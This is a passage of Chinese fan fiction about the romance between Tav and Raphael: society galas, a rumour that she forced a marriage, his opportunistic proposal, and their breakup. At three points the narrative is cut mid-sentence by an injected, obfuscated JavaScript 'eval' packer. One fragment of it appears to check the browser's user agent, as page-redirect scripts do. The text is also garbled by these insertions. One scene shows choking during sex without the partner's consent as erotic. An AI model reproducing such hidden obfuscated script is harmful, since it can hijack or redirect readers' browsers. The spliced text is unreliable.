塔夫望着拉斐尔思索一会,还是被说服了,顺便提要求:“骑狮鹫的时候,俯冲、急转、翻转、爬升,每一种都想要来几遍。” “当然。”拉斐尔搂住她,在她耳边低声说,“如果你想……也可以。” 塔夫笑着推开他:“格列芬会吃了我们的!” . 新年。 塔夫随拉斐尔来到上城区宅邸,换上拉斐尔准备的衣裙,戴上拉斐尔拿出的首饰,跟在拉斐尔身边在酒会与舞会上同人寒暄,接受恭维,礼貌称赞对方,弯唇听不认识的人与另一个没听说过的人之间的曾经、现在和未来,在回程的马车上询问拉斐尔或干脆记不清,再一起回到上城区。 他们住在同一个有石质浴池的房间,但上次的镜子被收了起来。 塔夫随口询问的时候,拉斐尔表情些古怪,不过她其实也觉得难为情并不想再那样做一次,连忙含混过去。 至于酒会和舞会上,塔夫倒也见到几位相熟的面孔。 最常见到的是威尔。 每次见到威尔都会让她感觉轻松许多,哪怕两人有的时候只是朝对方点点头,或交换一个视线一个微笑,但那便足够让她知道自己并不是唯一一个会感到无所适从的人。 除此之外还有: 阿斯代伦。他举止总是优雅得体,虽然眼里偶尔会露出无聊的神色。那个时候塔夫会尽量避开或者紧跟住拉斐尔,以免被当成打趣逗乐的目标。 和米佐拉。她比阿斯代伦更加如鱼得水,每次出现时都能够成为人群的焦点,这让塔夫很喜欢她。 以及拉斐尔的父亲,梅菲斯特。 他的态度对塔夫来说仍是一个谜。 也许对其他人来说也是。 塔夫与梅菲斯特在酒会上相遇过两次。 第一次,梅菲斯特冲她点了点下巴,虽然嘴唇线条依然高傲,不过对他而言也许能称得上是姿势友善。塔夫禁不住望向拉斐尔,他皱着眉毛。 第二次,梅菲斯特直接无视她,也顺便无视了拉斐尔。但当塔夫问起拉斐尔的时候,他反而说这令他更放心。 而拉斐尔,无论他有意还是无意,塔夫都感动于他介绍自己的方式。 ——塔夫,在读医学院,毕业于博德安大学,费伦最高奖得主,他的女朋友。 不过对于其他人,仿佛只有在听到拉斐尔说到最后那层关系后,才能够决定应该如何对待她。 . “这一点不令我吃惊。”卡菈克评价说, “那是因为我们没有家族姓氏。所以他们就摆出一副好像很震惊、没见过普通人、不知道应该怎么处理的蠢样子。说真的,如果拉斐尔变成拉斐尔,而不再是拉斐尔·卡尼亚,他们肯定也会是另一番嘴脸。” 塔夫莫名觉得姐姐有什么话外之音。 卡菈克笑起来:“你果然是跟贵族打交道太多了!” 塔夫却还是多想了一想。 如果拉斐尔为了她放弃贵族头衔,像是伊索贝拉那样离开家里? 她觉得拉斐尔不会。 倒不是因为他不够爱她,而是他成长于那种家族那种背景,对于许多规则秩序也许有出于习惯遵循利用的一面,但也有思索后感到认同、并主动选择维护自身所处立场的一面。 其实她也一样。 塔夫又和卡菈克打趣几句,最后决定不告诉姐姐自己还在舞会上看到戈塔什的事。 虽然她当时恨不得把杯子里的酒朝戈塔什泼过去,却还是绷着脸同他打了一声招呼。不知道拉斐尔给戈塔什计划的“惊喜”是什么,他对他态度看上去还算友善。而且当时梅菲斯特也在场。 . 塔夫也和贾希拉说起过去的半年,自然少不了拉斐尔。 因为卡菈克会调侃她肉麻,塔夫把更抒情和夸赞拉斐尔的话都留到了母亲这里。贾希拉说很高兴听到拉斐尔这样认真对待和她的感情,更重要的是她感到幸福快乐,这让她很欣慰。 塔夫也想起母女当初的那场对话,笑着说: “没想到这么快,我和拉斐尔就已经讨论起当初的那个‘长远的结果’了。” 贾希拉有些惊讶,又很快和往常一样问她是怎么想的。此外还多了一个问题,她又觉得拉斐尔是怎么想的。 塔夫先回答后半个:“他没有直接问我,但我觉得他是想要结婚的。至于我自己……” 她成为塔夫·卡尼亚? 在某些场合,她的身份似乎能够得到填充变得完整。那然后呢? 她犹豫好半天,“我也不知道。” 贾希拉微笑问:“如果拉斐尔现在向你求婚,你会答应吗?” “我希望他千万不要!”塔夫立刻回道,又像是在解释什么,“我们算是有个约定,四年之内,直到我毕业,都不用考虑结婚这件事。”说完她自己先笑了,“但我其实已经在考虑。因为我不想结婚,至少现在不想。” “所以你和拉斐尔在这件事上的想法不一致。你很担心这个分歧?” “我想是的。”塔夫顿了好一会,“我担心,拉斐尔会觉得我没有那么在乎他,或者认为我不想结婚就是在拒绝他——而且似乎也的确如此。他听上去真的很重视这件事,我们分歧太大还没有让步空间……因为答案就只有是或者不是。” 贾希拉侧过身环住她:“但你爱他,他也爱你。” “所以我不希望他在对他来说这么重要的事情上做出牺牲,可我也不觉得自己的想法会改变。” 贾希拉沉吟片刻:“也许婚姻和旅行的路线差不多。有的人喜欢规划好清晰的路线,有的人喜欢说走就走随停随逛。路线本身是否重要因人而异,但更重要的是你们是否享受对方的陪伴,最后又是否想去同一个目的地。” 塔夫想了想,忍不住微笑起来:“我和拉斐尔的旅行很愉快。”她靠在母亲身上,“而且我们还有很多时间,可以慢慢解决。 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拉斐尔像是在斟酌用词,过了片刻才道:“他认可了我的能力。” 塔夫不由得有些惊讶,虽然立刻猜测梅菲斯特恐怕不是这样说的,但也还是为感到拉斐尔高兴。 . 回到博德之门后,塔夫再一次感到意外。 她离开后,拉斐尔显然从来没有在二人同居的小房子里住过哪怕一晚。 不过她又很快理解,拉斐尔当然是要回上城区的。 而晚上温存时,塔夫敏锐地发现,除了身材果然瘦一些,拉斐尔还发生了其他变化。 用好的话来说,他更加自信,清楚自己的能力,也知道自己在做什么。 用坏的话来说,他独断专行,虽然提前同她确认想要试试“更刺激的”来弥补狮鹫闹脾气不肯做高难度动作的遗憾,但似乎对她的感受没有那么在意了。 她当然还是享受到了快乐,甚至因为拉斐尔的强势,第一次时没有准备好,到得格外猛烈,整个人差点没有喘过气。可接下来,拉斐尔也把控了整个节奏,在她刚从余韵中清醒过来一些,就又一次开始,甚至没有再次询问她,直接伸手扣住她手腕举过头顶,接着又锁住她的脖子。 塔夫不可置信地呼出一声,拉斐尔手掌却一点点缩紧。 肺部空气越来越少,塔夫胸口剧烈起伏,声音越来越低,就在窒息边缘时,他突然发狠用力几下,又松开手。塔夫本能地深深吸了一大口空气,随空气一起涌入的还有可怕的洪流,直接将她淹没又高高卷起,比第一次还要猛烈。 她从来没有经历过一下子被卷到如此高处,止不住地颤抖,四肢也因为忽然的紧绷而抽搐到酸疼,只能瘫着喘息,甚至连手臂也没有力气收回。 “刚才感觉好吗?”拉斐尔抚摸她仍张开着的嘴唇。 塔夫仍处于余韵和后怕的脱力中,根本说不出话,眼睛也无法睁开。 拉斐尔得意地轻笑一声,俯身咬着她的耳朵:“看来很好。” …… 最后,塔夫把这归结于二人好久未见。 . 119.传闻 开学后,塔夫再次忙碌起来。 这个学期末没有期末考试,取而代之的是医学生最重要的两次综合测试之一,测试结果直接决定第三年和第四年住院实习的选择范围。 塔夫的目标是与内蒂相同的全科医生,需要拿到最好成绩。 此外因为上学期表现优异,她一开学就受邀加入医学院精英学生的伽马学社。 塔夫对拉斐尔说不是很喜欢精英这个概念。无论精英教育,精英体制,精英政治。精英这个词本身就意味着少数,带着些傲慢,对大多数人怀有俯视。 拉斐尔有些惊讶地看着她,断言道:“博得安大学提供的正是精英教育。你想要成为的医生,也被视为行业的精英。成为精英是你能够获得病人信任的主要原因之一。” 塔夫知道拉斐尔说得没错,但这直接结束了两个人的讨论。 她本还想说也许人们不仅仅需要制定规则和秩序的领袖,还需要——也许更需要——理解他们的同行者。 而且,虽然她心里这么想,但因为学社有不少校外相关活动,能够提供她从其他地方无法获得的宝贵经验(哪怕这方面拉斐尔可以帮忙),塔夫最后仍是加入了伽马学社。 这更是让她的忙碌和充实只增不减。 拉斐尔也是如此。 因为负责越来越多家族事务、维护关系,他开始每周回上城区一天——男仆会来替他整理,这倒是帮助两人减轻些家务——后来又变成两天,而且往往是周末。 塔夫同影心某次再聚时,不由得一阵感慨事情的发展和想象中不太一样: “尽管我对精英制度抱有怀疑,却还是不知不觉中……好吧应该说是我主动选择成为了其中一员。” “因为你想要成为医生,而实现这个愿望没有其他更好的方法。”影心对她很是感同身受,又点了第四杯酒, “我也一样。有的时候,一边清楚很多事情是我自己选择的结果,一边又觉得我其实没有那么多选择的自由。 “还有的时候,仿佛做出选择的并不是我,而是有什么别的东西在推着我,比如我的……” 她打了个酒嗝,想说的话被打断,干脆举杯笑道:“敬那个什么东西!” 塔夫摇摇头,还是跟她碰下杯,抿了一口。 影心则一口喝干:“你和拉斐尔最近怎么样?你今晚一直没有提到他。新年酒会和舞会上的传闻是真的吗?” 塔夫疑惑:“什么传闻?” 影心瞧她一眼:“你和拉斐尔一起正式出现在许多宴会上,他很重视和你的关系。”她说着打趣起来,“这应该不是传闻?” 塔夫也笑了,又问起影心近况,得知她和哈尔辛搬到一起住后,忍不住大声恭喜她,接着责怪她直到现在才说,对酒保高声喊:“再来两杯!”她对影心坚持道,“今晚我来请!” . 酒意爬升,塔夫摇摇头又拍拍自己脸颊清醒,仍是找了好半天都没有找到钥匙。 她向半地下室的窗里张望,心里默念但愿矮人婆婆还没睡,却听见马车停下的声音。 塔夫扭过头,望见拉斐尔。 他正从车上跳下,五官半明半暗,皱着眉几步来到她身旁揽住她:“这个时候还在外面?” 塔夫抬手去摸他的眉毛:“我去见影心了。我以为你今晚不回来。你带钥匙了吗?” 拉斐尔眉锁得更紧:“你喝了多少?” “五六杯而已。”塔夫笑眯眯说,“我很清醒。别皱眉了。钥匙呢?” 拉斐尔终于还是叹口气,干脆打横抱起她一起回家。 这似乎是两人开学以来第一次亲密。塔夫借着醉意搂住拉斐尔脖子想和他多温存。拉斐尔明显也有情动却把她按住了:“很晚了。早点睡。” “拉斐尔……我想……” “你喝醉了,做出的判断都算不得数。”拉斐尔吻吻她额头,“有什么事明天再想。我爱你,晚安。” 果然是法学生,这么严格,这也要算违背意志吗。刚回来那次刺激的窒息玩法又算什么。塔夫在心里偷偷好笑,但头一沾枕头,很快就睡着了。 . 塔夫醒来时有些头疼,嘴巴也干得厉害,起身去倒水时却发现找不见拉斐尔。 她端着水杯寻到书房,隐约听见拉斐尔的声音。 他正在窗外的花园里低声训斥着什么人,瞥见塔夫,立刻绷起唇,示意对方离开。那一瞥之下,他的神情神态甚至包括声音都和梅菲斯特极像,让塔夫隐隐感到不安。 “已经醒了?”拉斐尔推开门,身上有些湿意,因此只是飞快拥抱了她一下,“还很早,你看上去很累,再去多睡会。” 塔夫摇摇头,要拉斐尔陪自己坐下:“感觉好长时间都没有和你聊天了。” 拉斐尔立刻纠正:“我们才聊过精英的事不久。” 那已经是刚开学时候的事了。 而且也聊什么。 不过塔夫没有这么说,只是伸手在拉斐尔肩膀和脖颈上抚摸着。 拉斐尔下意识朝她掌心歪了歪头,侧过脸在她手心轻轻一吻。很快,他身体也放松下来,对塔夫说自己最近压力的确有些大,不过他知道她也并不轻松,不希望把多余的压力转给她,更何况他的这些压力大多来自不方便与她详述的事。 除了戈塔什。 “他很快就要寻求册封爵位,”拉斐尔慢慢露出一个笑容,有些轻蔑和高傲, “并很以为自己得到了足够的支持。” 塔夫一时不知道该回应什么,嗯了声。 拉斐尔更仔细地对她讲述起来。 戈塔什最主要的盟友是猩红家族和索姆家族,同时一直在试图争取雷文伽德公爵的支持,暗中为焰拳提供资金。可惜他错过了某次与猩红家族交好的机会,不过公爵始终没有明确态度,而将军立场也更加偏向中立。他更是从将军的一位家仆以及伊索贝拉做切入口…… “是你告诉将军伊索贝拉和艾琳女士的事?”塔夫一下子想起唯一一次与索姆将军的见面,恍然那可能也是拉斐尔布置中的一环。 “艾琳女士向来自负,从来没有真正试图掩藏过行踪。” 拉斐尔避开了直接回答。但他似乎对塔夫的反应不太满意,很快收起这个话题,只嘲弄道,戈塔什过去近几年的布置努力在他看来完全是白费功夫,想成为贵族的愿望也很快便会成为泡影,最后问她是否为此感到开心。 塔夫努力调动出喜悦的情绪:“戈塔什他恶有恶报。” . 她当然并不是戈塔什。 可如果她处于拉斐尔的对立立场呢。 比如…… . 那次聊天以拉斐尔的匆匆离开结束,生活复归以往。 塔夫有时会忽然觉得自己和拉斐尔变得不熟悉,但母亲的话总能带给她安慰。二人的路线也许偶有偏离甚至背离,但他们总还是享受彼此的陪伴,也始终望着同一个目的地。 . 时间飞快,不过几周后便又一次临近期末。 这时,一则新闻如同一块石子投入塔夫有些沉闷的生活之中。 博得之口报社甚至特意发出增刊: “大富商戈塔什脸面尽失!册封贵族头衔请求被领主议会驳回!” “路在何方?百万金币的贵族梦破碎!” “戈塔什平静表示与领主议会存在误解。” …… 塔夫没有太多欣喜,她的注意力大多集中在准备综合测试上。而且,这则头条新闻也并没有占据众人视线多久。 几天后,又一则更加吸引人眼球的桃色传闻热热闹闹地来到医学院和报纸上。 “是爱情童话?还是贵族丑闻?也许背后另有隐情!” “梅菲斯特·卡尼亚大公之子、卡尼亚家族的准继承人、拉斐尔·卡尼亚,计划近期与一位神秘女子成婚。据知情人称,这位女子不是贵族出身,甚至没有家族姓氏。” …… 塔夫有些意外,立刻猜测这大概才是影心所说的传闻,也难怪她当初没问出口,毕竟影心和她对婚姻的态度很相似。 于是塔夫几乎把这当成是一则笑话,对拉斐尔说: “大概是因为新年那三天吧?那人想象力也真够丰富的。原来贵族也喜欢嚼这种烂舌根。都已经过去快半年了。” 拉斐尔脸一下绷紧。 塔夫瞧他面色严峻,也慢慢收起笑容:“我原本打算放着不管,等它自己过去就好。因为这实在是无稽之谈,新年三天也有许多人在场。” 她顿了顿,“不过这是不是会对你有什么不好的影响?需要我做什么吗,比如澄清?” 拉斐尔声音压得很低:“不必。”他吻吻她,“别担心。” 塔夫便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那个逼婚拉斐尔的平民女子就是她?” “肯定是。除了她还能有谁?” “我对她印象其实一直还挺好的,原来私底下手段这么……厉害。” “我看她是搬起石头砸了自己的脚,也太过难看了。真不体面,给我们普通人丢脸。” “费伦最高奖颁给她可真是瞎了眼。” “你在想什么呢,要是逼婚成功她可就是卡尼亚大公夫人了,哪还需要什么最高奖,说不定下一届最高奖就是由她来选得主呢!啧啧啧。” …… 考试结束后,学期正式结束前,医学院的所有人似乎把全部的精力和热情都投入到这件事中。毕竟,虽然传闻中女子的身份仍然模糊,但他们心里都清楚,当事人就在自己身边。 塔夫的心情从可笑,到不屑,到愤怒,终于变成一种恐慌。 没人在乎事情的真相是怎么一回事,他们只想对她发泄负面情绪,有的甚至和这件事本身无关。爱人的背叛,老师的轻视,甚至只是最后一块草莓蛋糕被别人抢走,都可以变成对她冷嘲热讽评头论足的理由。 “她肯定是那种会抢别人男友的。” “她就是啊。有那么好的男友还一直勾引别的贵族!” “我以前就觉得她性格不怎么样,课上总是特别积极,显摆自己。” “还不是卡尼亚大公夫人呢,得意什么。” “我最喜欢的口味,我排了那么久,最后一块被当着我的面买走了。” “肯定是她支使人干的!” …… 此时,塔夫能依靠的似乎只有同处漩涡之中的拉斐尔。 幸好考试已经结束,她可以暂时躲在家里逃避这可怕的风暴。 可拉斐尔仍在忙碌着不知道什么。不过几天,塔夫便积压出对拉斐尔的无数不满。 在拉斐尔又一次安抚她说:“我理解你的感受”时,塔夫敏锐察觉到他语气和态度的微妙变化,似乎是紧张,也像是不耐烦。她积累的怒气一下爆发: “你无法理解我的感受!哪怕我们一起被提及,也只有我是手段下作的坏人!而你,你是无辜的被我欺骗的人!你根本就没有受到什么影响!” 拉斐尔猛地站起身,眼里仿佛有火焰燃烧。 塔夫立刻瞪了回去。 拉斐尔却单膝跪在她面前:“塔夫,请你嫁给我好吗?” . 120.逼婚 拉斐尔捧出一只绒面戒盒,在塔夫面前打开: “塔夫,请你嫁给我好吗?” 塔夫像是被烫到,向后跳开一步:“什么!?” 拉斐尔仍单膝跪地,眼神一下晦暗不明却又仍满怀期待:“塔夫,你愿意……” “请先把戒指收起来。”塔夫打断拉斐尔,又望一眼那枚硕大耀眼的宝石,恍惚觉得自己是在梦中,“为什么?!” 拉斐尔呼吸急促起来,似乎也感到不可置信。 塔夫忍不住笑出一声:“这不正是坐实了传言吗!?你想不到别人会怎么说吗?除了我手段高明,还会笑话你愚蠢!真的被我骗到了!” “我不介意!我不在意这传言,因为我很清楚这不是真的!我爱你,塔夫,你也知道!” “我知道。但我不理解。你到底在想什么?”塔夫仍一片混乱,手脚都在发抖,“这时候向我求婚,只会让事情变得更糟。请先把戒指收起来!” “不,塔夫,这只会消除传言带来的误会和影响。”拉斐尔还是暂时收起戒指,站起身握住塔夫双手, “这种传言的威力来自模糊和猜测。如果我们结婚,一切都会被清晰的事实取代。 “是我主动追求你。是我主动向你求婚。我们的关系是正式的,我们的感情是真实的经得住考验的。订婚消息一出,这种不实传闻会不攻自破。” “不是这样的。不仅仅是解决传闻的事。还有……我的学业,我想要成为医生,我之后还想要……”塔夫呼出一口气,像是在试图理清头绪时忽然抓到一根线头,“如果我结婚了,贵族不是不能抛头露面工作的吗?!” “我们可以先订婚。”拉斐尔似乎早有准备,语气不急不徐, “你仍可以完成学业,成为医生,而且不需要自己亲自行医就能够完成你的最终心愿,因为你将拥有整个卡尼亚家族的资源和力量。” 他声音变得低沉而富有磁性, “钱在哪里,人和影响就会跟向哪里。你可以建立奖学金,鼓励更多人学医。你可以向医院捐赠,或者通过基金会修建医院、福利院、孤儿院。你可以通过董事会领导管理他们,决定他们应该做什么。 “你不需要亲自做医生,却能够施加更多你想要的影响。” “但那都是来自你,来自卡尼亚家族!” “为什么还要分得这么清呢,塔夫。结婚后,你也是卡尼亚家族的一员。” 塔夫怔住。 “我们是一体的。一切属于我的,也都属于你。”拉斐尔轻声说,几乎带着某种蛊惑,“想想你的最终愿望,如果你嫁给我,那会更加容易实现。” 也许是被拉斐尔的声音安抚,塔夫情绪慢慢安稳下来:“也许我的确有只靠我自己恐怕无法实现的更大更远的愿望,但我也同样喜欢被孩子称作塔夫医生的那些时刻,还有当我可以告诉他们,他们的爸爸妈妈来接他们了。” 她微微顿了顿,能够重新思考,“这对我来说可能更重要。然而过去一年,在医学院,我始终是拉斐尔的女朋友。” “这称呼是相互的。我也是你的男朋友。” “但没有人会叫你塔夫的男朋友。你始终是拉斐尔。” 拉斐尔仿佛意识到什么,一下抓紧塔夫的手:“对我来说,你是塔夫,也始终是塔夫!嫁给我并不会改变这一点!” “我知道。你是这样想的,也是这样做的。你没有做错什么,拉斐尔,我说那番话也不是想要指责你。这其实都是……关于我。”塔夫想到母亲的话,语气更柔和却也更坚定, “我不是想要拒绝你,拉斐尔。只是我发现,也许我现在并不想成为任何一个人的什么人,所以我的这个决定其实和你无关,而是……” “这怎么会与我无关?!” “我知道,这听上去有点……” “你是母亲的女儿!姐姐的妹妹!朋友的朋友!”拉斐尔再次打断她,语速越来越快,“从出生开始你就身处于关系中,你无法独立存在于这社会上!你总会是谁的谁!” “我知道。你先听我说完。”塔夫忽然笑了,“刚才的话有点耳熟,我们以前似乎也讨论过这些?”她不由得有些怀旧之情,叹了口气, “但关系和关系不一样,因为人和人不一样。而拉斐尔你的魅力实在太大也太有吸引力啦,我和你在一起的时候,别人会不由自主地先看到你,再看到我,哪怕当你不在我身边的时候也是如此。 “我爱你。可我还是更想被称作塔夫医生,而不是卡尼亚夫人,或者拉斐尔的未婚妻、拉斐尔的女朋友。” 拉斐尔仿佛冻僵一般,怔怔放开她的手。 “谢谢你向我求婚,拉斐尔。我很感激。真的。我爱你。但就像你常说的别急着做决定,我们也许都需要再花时间想想……” “我不需要更多时间!” 拉斐尔忽然拿出戒指盒狠狠向地上一掼,“我一直很肯定就是你!你也明明知道我也是真的爱你!” 盒子弹开,落在塔夫脚边。戒指仍稳稳固定在天鹅绒中,反射出璀璨的光。 塔夫俯身捡起,还是忍不住摸摸那枚漂亮的宝石,又伸出手比划一下。拉斐尔惊喜地轻轻吸了口气,塔夫已经把戒指并盒子递还给他。 拉斐尔脸一下涨得通红,手捏成拳:“花时间想什么?你不觉得这场景荒唐可笑吗塔夫!?我在这种时候向你求婚,得到的结果是你想通了,那就是你甚至不想当我的女朋友!哈!哈哈!” “我并不是……”塔夫忽然又扫一眼没能还回去的戒指。从这个角度,能够清楚看到戒托上盘绕雕刻而成的卡尼亚家族族徽。她狐疑地望向拉斐尔,“为什么你已经准备了求婚戒指?” 拉斐尔微微张开嘴,却没有说话。 “还有你刚才的话。”塔夫灵光一闪,串起来一切,无法克制地轻笑一声, “还是好熟悉。和我们当初一模一样。让我想想自己的愿望,以及你能够为我带来什么‘好处’。哈!又要收买我是吗?我早说过,你想都别想!” 拉斐尔嘴唇颤抖起来:“塔夫,我……” 见他反应,塔夫更加肯定,厉声打断他: “在‘这种时候’?你在这种我无比依赖你的时候向我求婚!?” 她声调越来越高,语气越来越讽刺, “多聪明啊! “就好像向溺水的人递出树枝,我当然只能接受!因为我没有其他选择! “你明知道我的态度!拉斐尔!你这样做有意思吗?!” 拉斐尔紧紧抿住唇,下巴和脸颊肌肉却止不住颤抖,瞳孔放大到几乎遮住虹膜。 塔夫把戒指高举到拉斐尔眼前:“那个传闻,还有这一切的源头,其实都是你做的吧?!想要逼婚的原来是你!居然用这种手段?你一定觉得自己很厉害很了不起吧!我简直瞧不起你!” 拉斐尔瞪着她狠狠咬了下后牙:“原来你还是这样看我的。” 他劈手夺过戒盒,连外套都没有穿,直接一把拉开大门。 塔夫做好了迎接巨响的准备,门却只轻碰一声关上。 她在愤怒中默默想,原来拉斐尔气到离开时,也都不会摔门的吗。 . 上城区。 书房门忽然被拉开,又重重合上。 梅菲斯特扫一眼拉斐尔,继续低头看手中信笺:“你来了。很好。我也正要找你。” 拉斐尔身上一层薄汗,一路捏马具太紧让他掌心泛红,胸口更是不住上下起伏。 但他说话时声音很稳:“是你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她的确后悔了。” 拉斐尔一怔:“什么?”他发现自己双手在不由自主地颤抖,狠狠握住拳。 “你母亲.后悔.嫁入卡尼亚家族。” 梅菲斯特重复道,眼睛里漫上一层金色,看上去既美丽又恶毒, “但她有了你,已经无法脱身。后来,她与戈塔什通奸,怀了你那‘可怜’的没能出生的妹妹。戈塔什主动离开,很明智的选择。是我将他推荐给扎瑞尔。你母亲试图阻止挽回,信被我拦下。 “戈塔什足够聪明,有能力,有野心,懂得趋利避害,更不会被私情冲晕头脑。我不算喜欢他的某些个性,但看好他的潜力与可预见性。哪怕他在我眼皮底下与我的妻子偷情,我仍然选择与他合作,因为这对家族利大于弊,从一开始便是如此。 “你还有什么问题吗?我天真的儿子。” 拉斐尔耳中一片嗡鸣:“父亲你……” “至于我?”梅菲斯特轻轻叹口气, “我称不上后悔,但我的确对你母亲感到,失.望.。 “不是因为她与戈塔什偷情,那没什么。 “既然我无法提供她所需要的……‘自我’,她当然可以用其他方法、从其他人那里得到她所需要的肯定。 “然而我承认,我的确曾以为她会不一样。 “可惜。” . 梅菲斯特离开书房,回身看了眼仍失魂落魄的拉斐尔,想起什么似的最后提醒说: “你的游戏,已经可以结束了。” . 121.黄昏 母亲去世那天起,拉斐尔便常有这种感觉——他的人生固定了。 那并不意外着未来会缺少变化和惊喜,而是他可以开始看到一些框架和轨迹,同时也模糊了很多也许原本可以清晰的画面。 他知道他会继承爵位,拥有一位妻子,教导一位不会令家族失望的继承人。 从什么时候开始,那些未来的画面中,身旁的人影变得清晰,眉眼身形都是塔夫。当塔夫牵住他的手的时候,他也能看到母亲牵着父亲的手,转身微笑望向自己。 可突然间母亲消失了。 他手里也一空,连忙再次牵住塔夫时,却发现她变成了母亲。是母亲去世前的模样,脸颊深陷,双眼却如同在燃烧:“别让你父亲失望。” 原来母亲是这个意思吗。 身边的人再次消失。他望见塔夫的生活在很遥远的地方发生。没有他她仍会很快乐。他想要进入她的画面,却发现自己已经长在另一副画中。他伸出手,想要至少触碰她,画面被染上一片污浊。 塔夫对他的指责并没有错,他还是那个他。 对于传闻,父亲没有承认,也没有否认。 不过这是否是父亲的手段其实已经没有那么重要,当时做出这一决定的是他自己。 利用那个时机向塔夫求婚,明明可以阻止却任传言发展。他清楚那意味着什么,但对自己的做法深信不疑,确信自己能够成功说服她。而他带给塔夫的不仅仅是她原本无需面对的压力和束缚,还有他也不知道应该如何处理的混沌与肮脏。 也许,这才是最理性也是最好的选择。 …… 那天晚上塔夫早早便上床,辗转反侧很久。 她应该是传达了自己的真实想法,但时机和方式都不算太好。 如果她和拉斐尔没有都那么忙碌,如果没有发生这件事,如果……两人过去几个月能亲密一次,她也许就能够找到一个更好的机会,把自己的一番思索更轻松自在地讲给他听,对拉斐尔来说大概也能更容易接受。 而且她似乎又误会拉斐尔了? 先不说这个,尽管形式上有种种不如人意,但拉斐尔居然不顾她的想法趁虚而入,也实在太过可恶!如果不是她之前同母亲与影心分别聊过,现在说不定已经答应拉斐尔。 可是她心里的挣扎和矛盾并不会少。 恐怕只会更多。 哼哼,要好好想想要怎么“责备”拉斐尔之后再同他“和好”。 ……等问清楚之后,也还是需要向他道歉。 …… 塔夫睁开眼睛时,被床前身影吓了一跳: “拉斐尔?!” 他仍穿着昨天的衬衫,头发凌乱,双眼通红。 “你还好吗?你怎么……”塔夫连忙坐起。拉斐尔已经对她说: “我们分手吧,塔夫。” 塔夫心跳停止一瞬,接着血液迅速冲向大脑:“你说什么?” 拉斐尔没有重复,只是看着她。 塔夫嗓子干涩,用力吞咽了下:“是因为我昨天的话吗?我并不是想……” “你并不想结婚,我知道。而我做出决定也不只是因为你昨天的话。”拉斐尔语气很平静, “但既然我们不会有结果,我同意现在分手对你我都更好……” “同意什么?!”塔夫打断他,声音仍有些干哑,“你所说的结果,就只有结婚一种形式吗?!” 拉斐尔皱起眉,用平静的语气继续说:“……因为你不适合我的家族。” “家族?”塔夫怔了怔,“是你父亲和你说过什么吗?” 拉斐尔眉皱得更紧:“……是的。” “这是他的意思?” “……是的。” “而你同意他?” “…………是的。” 塔夫怔愣好半天,拉斐尔没有任何解释,只一直沉默望着她。 有几个瞬间,塔夫几乎以为他会拥抱亲吻自己。但是他也没有。 “我知道了。”塔夫跳下床往屋外走。 “你要去哪儿?”拉斐尔伸出手又立刻收回。 “这不够显而易见吗?去收拾行李。” “为什么?” 塔夫几乎有些好笑:“因为,我们刚刚分手了?” 拉斐尔迟疑片刻,再次问:“可是,你要去哪儿?” 这次塔夫直接笑出声:“至少不会也不能和你继续住在一起。” “你仍可以住在这里。请住在这里。我会,我会……离开。” 但是拉斐尔却没有动。 这次塔夫真的弯起唇,无奈摇摇头重新坐到床边,温声问:“发生了什么,拉斐尔?你可以告诉我的。就和我们以前一样。”她朝拉斐尔伸出手,几乎要触摸到他的手指。 拉斐尔却猛地后退一步避开,眼睛仍一眨不眨地盯着她,却似乎没有在看她,表情扭曲,几近狰狞。 塔夫被吓了一跳:“拉斐尔……?” 他倏地转过身,下楼的脚步声很急,最后很响地摔上了大门。 . “呜!” 塔夫正吃下一大口芝麻叶,眼泪忽然涌出,大滴大滴地落在盘子上, “我好难过。他怎么能这么做?为什么?突然分手。什么都不说。还好像我是什么……呜……脏东西……一样。” 她嚼了好几下的菜叶子混着眼泪一起掉回盘里。 “……”卡菈克似乎想要说什么,但不发一言。 “……”贾希拉望着女儿,抿了抿唇。 “吱!”小布大声说。 “嘘!”明斯克连忙制止小布。 “我知道,这其实有迹可循。我不想结婚,他想结婚,可我却还是想要拖着他和他在一起。但我真的很爱……我真的只是想和他找找别的什么办法。这种要求是不是很无理很自私,所以拉斐尔才终于受不了……” “小锡兵!你才不自私!”卡菈克一拍桌子站起身,勃然大怒道,“拉斐尔他就是个……哎呦!” 明斯克很有眼力见地及时把卡菈克举高,一路端出厨房。小布趴在卡菈克那只完整的犄角上,跟着撞到天花板,又“吱”一声。贾希拉环住塔夫,轻车熟路地安慰: “我为你感到骄傲,塔夫。你没有欺骗他,也对自己保持了诚实。有的时候,悲伤也是爱的一种形式。你爱他,和他一起走过一段很美好的路,只是你们对目的地无法达成一致了。” “我以为我们只是对路线有分歧。我现在明白了。可是我还是不敢相信他就这样决定放弃了。”塔夫抱住母亲呜咽,“我哪里做错了,哪里做得不够好。如果那个时候我愿意让步,至少说话别那么难听,是不是就不会变成现在这个样子了……” “没有对错优劣之分,塔夫,你和他只是对未来的期望不同而已。” …… 学期结束后,塔夫还是向内蒂医师请了假,回到农场与妈妈和姐姐在一起。 过去三个月来,她常常刚以为自己想通了,或者奋发学习、精神亢奋好一阵,又忽然陷入低落情绪中。 有一次,她在笔记本上细细写满一整页数落拉斐尔这里不好那里不好,终于决定可以不再怀念他,彻底翻过这一页。结果第二天再看时,却觉得拉斐尔不好的地方也都十分可爱,甚至越看越讨人喜欢。 塔夫把纤维纸一点点撕了下来,又小心摸了摸夹在书页后那张一千金币的支票,确认没有被打湿。 唉,这次去找小布倾诉吧,虽然她一个人听不懂小布的大道理,但她可以拿小布的毛皮擦鼻涕和眼泪呀。 明斯克勉为其难:“去擦眼睛吧,小布!” 小布:“吱?!” …… 拉斐尔在同一天里第三次偶然路过内蒂医生的诊所后,终于得知塔夫这个夏天并没有留在博德之门。 她甚至没有告诉他。当然。 拉斐尔漫无目的地走着,一抬头却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 